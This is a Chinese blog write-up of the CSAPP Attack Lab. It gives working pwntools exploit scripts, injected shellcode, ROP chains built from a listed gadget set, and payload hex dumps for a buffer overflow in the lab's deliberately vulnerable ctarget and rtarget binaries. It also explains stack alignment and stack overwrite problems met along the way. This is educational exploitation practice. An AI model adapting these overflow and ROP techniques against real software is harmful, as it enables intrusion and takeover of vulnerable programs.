Zj_W1nd's BLOG

CSAPP Labs——Attack Lab

2024/07/04

介绍和要求

这一集官方文档是好帮手。文档里面给出了很多的提示和源码相关的信息(虽然我们有作弊工具IDA)。

此外,这关不允许我们通过攻击绕过验证代码或函数,亦即对于我们ROP攻击劫持到的地址做了如下限制:

  1. touch1touch2touch3函数的地址

  2. 你自己注入代码的地址

  3. gadget farm中的gadget地址

另外,gadget只能来自于rtarget文件本身且地址介于start_farm和end_farm之间的函数。了解了要求限制就可以开始干活了。

Ctarget:Code Injection

这个程序本身大头不在实验本身,主要在各种各样的验证,报错,和远程连接部分,没有IDA也能便于理解。程序还是可以通过参数自己选择输入流(文件/stdin),它内部实现了一个Gets函数,可以从标准输入或者文件流依据选择读取输入,只检查回车和EOF,同时使用一个test()函数调用,程序运行一下,就是一个读取输入然后告诉你返回值或者抛出错误并输出错误地址附近的十六进制值。

另外,虽然说checksec显示只关闭了aslr,但是canary对于我们实际要攻击的函数部分也是没有的,canary没有加在溢出点和利用函数上。还有这个堆栈不可执行NX保护也是在实验里没有用,我们能随便往栈上写代码然后执行,挺搞的。

Lv1: 简单ret2txt,劫持到touch1

这个文件第一关只要能返回到touch1就行。buf从IDA看是32字节,直接ROP。

1
2
touch1=0x4017c0
payload=b'a'*32+b'aaaaaaaa'+p64(touch1)

Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 > 61 61 61 61 61 61 61 61 61 C0 17 40 00 00 00 00 00

Lv2:ret2sc传递参数,改变分支

这一关需要我们bypass一个分支,判断条件是将cookie和touch2传入的参数比较。看IDA反汇编代码,这里是普通的64位调用规则,这个unsigned int参数从rdi传入。而且只允许使用ret进行控制流转移。

1
2
3
4
5
6
7
8
9
10
11
12
 ; void __fastcall __noreturn touch2(unsigned int val)
public touch2
touch2 proc near
val = rdi ; unsigned int
; __unwind {
sub rsp, 8
mov edx, edi
mov cs:vlevel, 2
cmp edi, cs:cookie //这里比较的是
jnz short loc_401824
mov esi, offset aTouch2YouCalle ; "Touch2!: You called touch2(0x%.8x)\n"
mov edi, 1

这里其实按理说用ROPgadget搜一个就行:

0x000000000040141b : pop rdi ; ret

但是它说我们是injected code,所以可以尝试自己写。但这里其实是不太行的,上网查到的资料都是定位了栈地址然后用一个ret劫持控制流到栈上。然后在栈上写了mov rdi,cookie ret的机器码。作为本地调试的实际操作者,理论上你有对内存的完全控制权限,直接pwndbg set不就行了()。如果是非本地环境,其实栈的地址一般比较难泄露而且难以利用。考虑到通关要求,还是假装我们有一个固定的栈地址然后完成这一关。只允许用ret,不然其实直接jmp也行啊():

1
2
3
4
touch2=0x4017ec
stack=0x5561dc78 # 栈帧rsp,同时指向输入开头
raw_code1=asm('mov rdi,0x59b997fa')+asm('push 0x4017ec')+asm('ret')
payload2=raw_code1+b'a'*(32-len(raw_code1)+8)+p64(stack)

Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 > 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00

Lv3: ret2sc传递参数(字符串指针),改变分支

touch3内部调用了一个启用了canary的hexmatch函数,会将touch3参数中指向的字符串和cookie比较。内部是封装的strncmp()。里面其实是将cookie用格式化字符串"%.8x"写到了自己的栈上。也就是说cookie要转成8个字节的ascii,然后将地址传过去。

为什么输入会被覆盖?

开始以为和lv2没啥差别,结果这一关搞了半天。touch3是先调用了hexmatch进行判断,hexmatch函数内部最后返回是调用的strncmp函数。 这里官方文档其实提示了这么一句:

When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.

这是怎么一回事呢,我们看一下hexmatch函数内部(注意,下面代码不是正确的,只是IDA给出的反汇编):

1
2
3
4
5
6
7
8
9
10
11
int __fastcall hexmatch(unsigned int val, char *sval)
{
const char *v2; // rbx
char cbuf[110]; // [rsp+0h] [rbp-98h] BYREF
unsigned __int64 v5; // [rsp+78h] [rbp-20h]

v5 = __readfsqword(0x28u);
v2 = &cbuf[random() % 100];
__sprintf_chk(v2, 1LL, -1LL, "%.8x", val);
return strncmp(sval, v2, 9uLL) == 0;
}

开始我以为这里面再申请空间也不会将前面栈帧破坏了,结果动调反复调整cookie_str的位置发现每次到调用strncmp的时候,栈上对应的位置都已经空了。这里F5就不管用了,我们要从汇编开始跟踪栈帧的变化。

从我们ROP攻击的位置开始,ret指令将touch3的地址pop出去了。然后进入touch3,下面是touch3开头的代码,可以看到压栈了一个rbx,覆盖了原来touch3返回地址的位置:

1
2
3
4
5
6
7
push    rbx
mov rbx, sval
mov cs:vlevel, 3
mov rsi, sval ; sval
mov edi, cs:cookie ; val
sval = rbx ; char *
call hexmatch

然后,call hexmatch的时候,将touch3的返回地址压栈。然后进入hexmatch的开头:

1
2
3
4
5
6
7
8
9
10
push    r12
push rbp
push rbx
add rsp, -80h
mov r12d, edi
mov rbp, sval
mov rax, fs:28h
mov [rsp+98h+var_20], rax
xor eax, eax
call _random

可以看到,直接压了三个寄存器,目前除去返回地址已经覆盖4*8=32字节了,最后watch一下栈地址动调,在call random的前两行,那一句mov [rsp+78h],rax最终覆盖了栈地址0x5561dc78,至此覆盖了40字节加返回地址的内容,cookie字符串如果要写的话就必须要写在返回地址后面了。

ctarget_dbg.jpg

而且这里向cbuf中写cookie字符串的时候调用了一个random()%100,可能是为了暗示这里都不让写东西吧(但其实程序开始的时候每个cookie都被作为随机数种子了,本地运行其实是伪随机)。这里看汇编的话取模运算编译器也是优化的抽象至极,疑似蒙哥马利乘:

下面的代码实现了rcx<-rax%100

1
2
3
4
5
6
7
8
9
10
11
12
mov     rcx, rax
mov rdx, 0A3D70A3D70A3D70Bh ;???
imul rdx
add rdx, rcx
sar rdx, 6
mov rax, rcx
sar rax, 3Fh
sub rdx, rax
lea rax, [rdx+rdx*4]
lea rax, [rax+rax*4]
shl rax, 2
sub rcx, rax
1
2
3
4
5
touch3=0x4018FA
stack=0x5561dc78 # 栈帧rsp,同时指向输入开头
raw_code2=asm('mov rdi,0x5561dca8')+asm('push 0x4018FA')+asm('ret')
str_cookie=b"59b997fa\x00"
payload3=raw_code2+b'a'*(32-len(raw_code2)+8)+p64(stack)+str_cookie

Type string:Touch3!: You called touch3(“59b997fa”)
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

附上Ctarget的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#*-* coding: utf-8 *-*
# EXP for ctarget
from pwn import *
context.log_level = 'info'
context.arch='amd64'
context.os='linux'
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
argv=['./ctarget','-q']
p = process(argv)

# cookie=0x59b997fa
touch1=0x4017c0
touch2=0x4017ec
touch3=0x4018FA
stack=0x5561dc78 # 栈帧rsp,同时指向输入开头

raw_code1=asm('mov rdi,0x59b997fa')+asm('push 0x4017ec')+asm('ret')
raw_code2=asm('mov rdi,0x5561dca8')+asm('push 0x4018FA')+asm('ret')
# tm的都想往bss写了,结果要放在ret后面
str_cookie=b"59b997fa\x00"
# 35 39 62 39 39 37 66 61
# 0x6166373962393535

payload1=b'a'*32+b'aaaaaaaa'+p64(touch1)
payload2=raw_code1+b'a'*(32-len(raw_code1)+8)+p64(stack)
payload3=raw_code2+b'a'*(32-len(raw_code2)+8)+p64(stack)+str_cookie
# gdb.attach(p)
p.sendline(payload3)
p.interactive()

Rtarget: Return Oriented Program

溢出点没变,还是一个gets加上32字节长的栈上字符数组的oob。但是这里就是正常的程序了:栈地址随机化且堆栈不可执行。

要求只能用movq, popq, ret, nop指令同时只允许使用rax-rdi寄存器。思路类似,只不过我们有工具可以搜索gadget就会方便很多。按照文档的意思,源文件将那些好用的机器指令藏在了其他指令的立即数中(或者类似的思路)。另外我们只能用gadget_farm中的gadget,即0x401994-0x401ab7地址范围内的gadget。

Lv4:用Gadget和ROP实现Lv2的参数传递

需要将rdi改成cookie就行,但是搜一下发现没有pop rdi
全部的搜索结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
ROPgadget --binary ./rtarget  --range 0x401994-0x401ab7
Gadgets information
============================================================
0x00000000004019d8 : add al, 0x37 ; ret
0x00000000004019d4 : add bl, al ; lea rax, [rdi + rsi] ; ret
0x0000000000401998 : add bl, al ; mov eax, 0x909078fb ; ret
0x00000000004019d2 : add byte ptr [rax], al ; add bl, al ; lea rax, [rdi + rsi] ; ret
0x0000000000401996 : add byte ptr [rax], al ; add bl, al ; mov eax, 0x909078fb ; ret
0x0000000000401997 : add byte ptr [rax], al ; ret
0x0000000000401a22 : add cl, cl ; ret
0x0000000000401995 : add dword ptr [rax], eax ; add byte ptr [rax], al ; ret
0x0000000000401a94 : and al, al ; ret
0x00000000004019f3 : and bl, bl ; ret
0x0000000000401aa8 : and dl, dl ; ret
0x0000000000401a8f : cmp al, 0xc3 ; mov eax, 0xc020ce88 ; ret
0x0000000000401a29 : cmp al, al ; ret
0x0000000000401a36 : cmp cl, cl ; ret
0x0000000000401a79 : cmp dl, dl ; ret
0x0000000000401a3b : enter -0x1f77, -0x3d ; ret
0x0000000000401a6c : fcmovnb st(0), st(3) ; mov dword ptr [rdi], 0xc391d189 ; ret
0x00000000004019f4 : fcmovnb st(0), st(3) ; mov eax, 0xc048d189 ; ret
0x0000000000401a31 : fcmovnb st(0), st(3) ; mov eax, 0xc938d189 ; ret
0x00000000004019aa : jae 0x401a04 ; nop ; ret
0x000000000040199c : js 0x40192e ; nop ; ret
0x00000000004019ec : js 0x4019b7 ; ret
0x0000000000401a8a : lea eax, [rdi + 0x3cc7c289] ; ret
0x00000000004019d7 : lea eax, [rdi + rsi] ; ret
0x0000000000401a03 : lea eax, [rdi - 0x1f76b7bf] ; ret
0x00000000004019ef : lea eax, [rdi - 0x24df2e73] ; ret
0x0000000000401a9e : lea eax, [rdi - 0x2d9f3d77] ; ret
0x00000000004019e8 : lea eax, [rdi - 0x36873177] ; ret
0x0000000000401a1e : lea eax, [rdi - 0x36ff3d77] ; ret
0x0000000000401a47 : lea eax, [rdi - 0x381f76b8] ; ret
0x0000000000401a39 : lea eax, [rdi - 0x3c1f7638] ; ret
0x00000000004019a0 : lea eax, [rdi - 0x3c3876b8] ; ret
0x0000000000401a61 : lea eax, [rdi - 0x3c6d3177] ; ret
0x0000000000401a40 : lea eax, [rdi - 0x3f7b3d77] ; ret
0x0000000000401a25 : lea eax, [rdi - 0x3fc73177] ; ret
0x0000000000401a83 : lea eax, [rdi - 0x6f1f76f8] ; ret
0x0000000000401a11 : lea eax, [rdi - 0x6f6f3177] ; ret
0x00000000004019a7 : lea eax, [rdi - 0x6fa78caf] ; ret
0x00000000004019d6 : lea rax, [rdi + rsi] ; ret
0x00000000004019ed : leave ; ret
0x0000000000401a08 : loopne 0x4019cd ; mov dword ptr [rdi], 0xc908c288 ; ret
0x0000000000401a1b : loopne 0x4019de ; ret
0x0000000000401a5e : loopne 0x4019f1 ; ret
0x0000000000401a3d : loopne 0x401a02 ; ret
0x0000000000401a4b : loopne 0x401a14 ; ret
0x0000000000401a87 : loopne 0x401a19 ; ret
0x0000000000401aaf : loopne 0x401a41 ; ret
0x0000000000401a9b : loopne 0x401a5f ; ret
0x0000000000401a92 : mov dh, cl ; and al, al ; ret
0x0000000000401a0c : mov dl, al ; or cl, cl ; ret
0x00000000004019e1 : mov dword ptr [rdi], 0x9090d199 ; ret
0x00000000004019c3 : mov dword ptr [rdi], 0x90c78948 ; ret
0x0000000000401aab : mov dword ptr [rdi], 0x90e08948 ; ret
0x0000000000401a5a : mov dword ptr [rdi], 0x91e08948 ; ret
0x00000000004019b5 : mov dword ptr [rdi], 0x9258c254 ; ret
0x00000000004019fc : mov dword ptr [rdi], 0xc084d181 ; ret
0x0000000000401a97 : mov dword ptr [rdi], 0xc2e08948 ; ret
0x0000000000401a6e : mov dword ptr [rdi], 0xc391d189 ; ret
0x00000000004019bc : mov dword ptr [rdi], 0xc78d4863 ; ret
0x00000000004019ae : mov dword ptr [rdi], 0xc7c78948 ; ret
0x0000000000401a0a : mov dword ptr [rdi], 0xc908c288 ; ret
0x0000000000401a7c : mov dword ptr [rdi], 0xc908ce09 ; ret
0x0000000000401a75 : mov dword ptr [rdi], 0xd238c281 ; ret
0x0000000000401a2c : mov dword ptr [rdi], 0xdb08ce81 ; ret
0x000000000040199a : mov eax, 0x909078fb ; ret
0x00000000004019db : mov eax, 0x90c2895c ; ret
0x0000000000401a91 : mov eax, 0xc020ce88 ; ret
0x00000000004019f6 : mov eax, 0xc048d189 ; ret
0x0000000000401a18 : mov eax, 0xc1e08948 ; ret
0x00000000004019ca : mov eax, 0xc3905829 ; ret
0x0000000000401a33 : mov eax, 0xc938d189 ; ret
0x0000000000401a54 : mov eax, 0xc9c4c289 ; ret
0x0000000000401a4e : mov eax, 0xd208d199 ; ret
0x0000000000401aa5 : mov eax, 0xd220ce8d ; ret
0x0000000000401a68 : mov eax, 0xdb08d189 ; ret
0x0000000000401994 : mov eax, 1 ; ret
0x0000000000401a86 : mov eax, esp ; nop ; ret
0x0000000000401a07 : mov eax, esp ; ret
0x0000000000401a9a : mov eax, esp ; ret 0x8dc3
0x0000000000401a5d : mov eax, esp ; xchg ecx, eax ; ret
0x00000000004019a4 : mov ebx, 0x51878dc3 ; jae 0x401a04 ; nop ; ret
0x00000000004019b3 : mov ebx, 0xc25407c7 ; pop rax ; xchg edx, eax ; ret
0x0000000000401a34 : mov ecx, edx ; cmp cl, cl ; ret
0x0000000000401a69 : mov ecx, edx ; or bl, bl ; ret
0x0000000000401a70 : mov ecx, edx ; xchg ecx, eax ; ret
0x00000000004019b2 : mov edi, 0x5407c7c3 ; ret 0x9258
0x00000000004019c6 : mov edi, eax ; nop ; ret
0x00000000004019a3 : mov edi, eax ; ret
0x0000000000401a20 : mov edx, eax ; add cl, cl ; ret
0x00000000004019dd : mov edx, eax ; nop ; ret
0x0000000000401a42 : mov edx, eax ; test al, al ; ret
0x0000000000401a27 : mov esi, ecx ; cmp al, al ; ret
0x00000000004019ea : mov esi, ecx ; js 0x4019b7 ; ret
0x0000000000401a13 : mov esi, ecx ; nop ; nop ; ret
0x0000000000401a63 : mov esi, ecx ; xchg edx, eax ; ret
0x0000000000401aad : mov rax, rsp ; nop ; ret
0x0000000000401a06 : mov rax, rsp ; ret
0x0000000000401a99 : mov rax, rsp ; ret 0x8dc3
0x0000000000401a5c : mov rax, rsp ; xchg ecx, eax ; ret
0x00000000004019c5 : mov rdi, rax ; nop ; ret
0x00000000004019a2 : mov rdi, rax ; ret
0x000000000040199d : nop ; nop ; ret
0x000000000040199e : nop ; ret
0x0000000000401a30 : or bl, bl ; ret
0x0000000000401a0e : or cl, cl ; ret
0x0000000000401a51 : or dl, dl ; ret
0x0000000000401a7e : or esi, ecx ; or cl, cl ; ret
0x00000000004019ab : pop rax ; nop ; ret
0x00000000004019b9 : pop rax ; xchg edx, eax ; ret
0x00000000004019dc : pop rsp ; mov edx, eax ; nop ; ret
0x00000000004019a9 : push rcx ; jae 0x401a04 ; nop ; ret
0x00000000004019b7 : push rsp ; ret 0x9258
0x0000000000401999 : ret
0x0000000000401a8d : ret 0x3cc7
0x0000000000401a9c : ret 0x8dc3
0x00000000004019b8 : ret 0x9258
0x0000000000401a43 : ret 0xc084
0x00000000004019de : ret 0xc390
0x0000000000401a21 : ret 0xc900
0x0000000000401a0d : ret 0xc908
0x0000000000401a56 : ret 0xc9c4
0x0000000000401a78 : ret 0xd238
0x0000000000401aa1 : ret 0xd260
0x0000000000401a45 : rol bl, 0x8d ; xchg dword ptr [rax - 0x77], ecx ; loopne 0x401a14 ; ret
0x0000000000401a01 : rol bl, 0x8d ; xchg dword ptr [rcx + 0x48], eax ; mov eax, esp ; ret
0x0000000000401aa9 : rol bl, cl ; mov dword ptr [rdi], 0x90e08948 ; ret
0x0000000000401a7a : rol bl, cl ; mov dword ptr [rdi], 0xc908ce09 ; ret
0x0000000000401a52 : rol bl, cl ; mov eax, 0xc9c4c289 ; ret
0x0000000000401aa3 : rol bl, cl ; mov eax, 0xd220ce8d ; ret
0x00000000004019f8 : ror dword ptr [rax - 0x40], 1 ; ret
0x0000000000401a50 : ror dword ptr [rax], 1 ; rol bl, cl ; mov eax, 0xc9c4c289 ; ret
0x0000000000401a35 : sar dword ptr [rax], 1 ; leave ; ret
0x00000000004019f2 : shl dword ptr [rax], 1 ; fcmovnb st(0), st(3) ; mov eax, 0xc048d189 ; ret
0x000000000040199b : sti ; js 0x40192e ; nop ; ret
0x00000000004019cb : sub dword ptr [rax - 0x70], ebx ; ret
0x0000000000401a00 : test al, al ; ret
0x0000000000401a48 : xchg dword ptr [rax - 0x77], ecx ; loopne 0x401a14 ; ret
0x0000000000401a84 : xchg dword ptr [rax], ecx ; mov eax, esp ; nop ; ret
0x0000000000401a04 : xchg dword ptr [rcx + 0x48], eax ; mov eax, esp ; ret
0x00000000004019a8 : xchg dword ptr [rcx + 0x73], edx ; pop rax ; nop ; ret
0x0000000000401a3a : xchg eax, ecx ; mov eax, esp ; ret
0x0000000000401a5f : xchg ecx, eax ; ret
0x00000000004019ba : xchg edx, eax ; ret

那只能构造ROP chain了。写入cookie的话起手肯定是pop。我们后面大概率都是以这个0x4019ab的pop rax; nop; ret开头,然后操作rax寄存器。因此就是pop rax->mov rdi,rax类似的思路。

1
2
3
pop_rax_ret=0x4019ab
mov_rdi_rax_ret=0x4019a2
payload4=b'a'*40+p64(pop_rax_ret)+p64(cookie)+p64(mov_rdi_rax_ret)+p64(touch2)

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

Lv5: 用Gadget调用touch3

说明书中说“You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations consider stopping right now.” 这一关其实可以不做了。但是我们又不是cmu的学生,还是来看看。

touch3和hexmatch都是一样的函数,覆盖也是一样的。这个难点在于,我们唯一能够写入的地方是栈而函数参数需要传指针,我们需要泄露或者想办法传入和栈有关的地址。这需要用到gadget中和rsp相关的指令。

这里就有一个问题。借助0x0000000000401a06 : mov rax, rsp ; ret只能获取这条指令位置(下一个)的rsp,而为了保证控制流gadget地址后面一定接着是地址,那字符串放在最后的话如何能让rdi传入地址?这时候我考虑第一个add al, 0x37这个gadget,在中间填充到0x37后让rax最后刚好对到字符串地址,然后使用mov rdi,rax就行了。

但是本来感觉做出来了结果段错误,莫名其妙(开始显然没想到栈对齐),一步一步调试调试到sprintf内部这里:

1
0x7fc5c0d8f6e8 <__vsprintf_internal+88>     movaps xmmword ptr [rsp], xmm0

此时RSP的值是

1
RSP  0x7ffd605c4bb8

这条指令是一个SSE指令,它的执行需要栈对齐,也就是RSP要对齐16字节,显然是不对的。因此在我们能控制的范围内需要调整payload,但是很遗憾,这个payload我用到了0x00000000004019d8 : add al, 0x37 ; ret这条,0x37的偏移是算好的了。因此要调节ret,我删除了一个ret用8个’a’填充在后面之后成功过关。

1
2
3
4
5
6
7
8
# gadgets:
pop_rax_ret=0x4019ab
mov_rdi_rax_ret=0x4019a2
ret=0x401999
lea_eax_rdi_plus_rsi_ret=0x4019d7
mov_rax_rsp_ret=0x401a06
add_al_0x37_ret=0x4019d8 # 加0x37,6个地址加7字节后写cookie
payload5=b'a'*40+p64(mov_rax_rsp_ret)+p64(add_al_0x37_ret)+p64(mov_rdi_rax_ret)+p64(ret)+p64(ret)+p64(touch3)+b'a'*15+str_cookie

Type string:Touch3!: You called touch3(“59b997fa”)
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 06 1A 40 00 00 00 00 00 D8 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 99 19 40 00 00 00 00 00 99 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 35 39 62 39 39 37 66 61 00

最后附上Rtarget的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#*-* coding: utf-8 *-*
# EXP for ctarget
from pwn import *
context.log_level = 'info'
context.arch='amd64'
context.os='linux'
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
argv=['./rtarget','-q']
p = process(argv)

cookie=0x59b997fa
str_cookie=b"59b997fa\x00"
touch1=0x4017c0
touch2=0x4017ec
touch3=0x4018FA

# gadgets:
pop_rax_ret=0x4019ab
mov_rdi_rax_ret=0x4019a2
ret=0x401999
lea_eax_rdi_plus_rsi_ret=0x4019d7
mov_rax_rsp_ret=0x401a06
add_al_0x37_ret=0x4019d8 # 加0x37,6个地址加7字节后写cookie


payload4=b'a'*40+p64(pop_rax_ret)+p64(cookie)+p64(mov_rdi_rax_ret)+p64(touch2)
payload5=b'a'*40+p64(mov_rax_rsp_ret)+p64(add_al_0x37_ret)+p64(mov_rdi_rax_ret)+p64(ret)+p64(ret)+p64(touch3)+b'a'*15+str_cookie
# pyaload5能将字符串地址传入rdi,动调确定一下为什么不行-栈在运行到sprintf内部的时候没对齐,删一个ret指令用a在后面填上就过了
# gdb.attach(p)
p.sendline(payload5)
p.interactive()

总结:

难度不大的rop训练,但是比较锻炼人,hexmatch的栈覆盖不读汇编是发现不了的,这个覆盖太艺术了,整个程序似乎都是从汇编层面一句一句打磨过的一样,非常神奇。而且通过rtarget的这个训练我终于明白了所谓“64位远程打不通加ret栈对齐”的含义了。受益匪浅,这玩意没有ROPGadgets真的是人能做出来的吗。。

更多的思考:

40字节的溢出是怎么回事?

首先,getbuf内部没有针对rbp的操作,是一个最简单的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; unsigned int __cdecl getbuf()
public getbuf
getbuf proc near

buf= byte ptr -28h

; __unwind {
sub rsp, 28h
mov rdi, rsp ; dest
call Gets ; 简单的入gets实现,可以从文件和stdin读
mov eax, 1
add rsp, 28h
retn
; } // starts at 4017A8
getbuf endp

但是为什么按照保存rbp来溢出(也就是0x28+8的padding字节)能成功呢?

动调watch监视rbp位置的变化,发现原本launch内部调用memset的时候触发了glibc的动态链接函数_dl_runtime_resolve_xsavec将rbx压栈了到最后也没清理。这个函数查了下是glibc动态链接延迟绑定有关的函数。可能都是算好了吧,过程中许多函数栈帧返回地址上方都有8字节的内容,但是很多都是rbx的那个6000结尾的值,再次感叹这个lab程序的神奇()。因为正常的调用是会在开始将rbp压栈然后leave ret的,这个虽然压的不是rbp但是也保证了溢出字节数什么的正确。

CATALOG
  1. 1. 介绍和要求
  2. 2. Ctarget:Code Injection
    1. 2.1. Lv1: 简单ret2txt,劫持到touch1
    2. 2.2. Lv2:ret2sc传递参数,改变分支
    3. 2.3. Lv3: ret2sc传递参数(字符串指针),改变分支
      1. 2.3.1. 为什么输入会被覆盖?
  3. 3. Rtarget: Return Oriented Program
    1. 3.1. Lv4:用Gadget和ROP实现Lv2的参数传递
    2. 3.2. Lv5: 用Gadget调用touch3
  4. 4. 总结:
  5. 5. 更多的思考:
    1. 5.1. 40字节的溢出是怎么回事?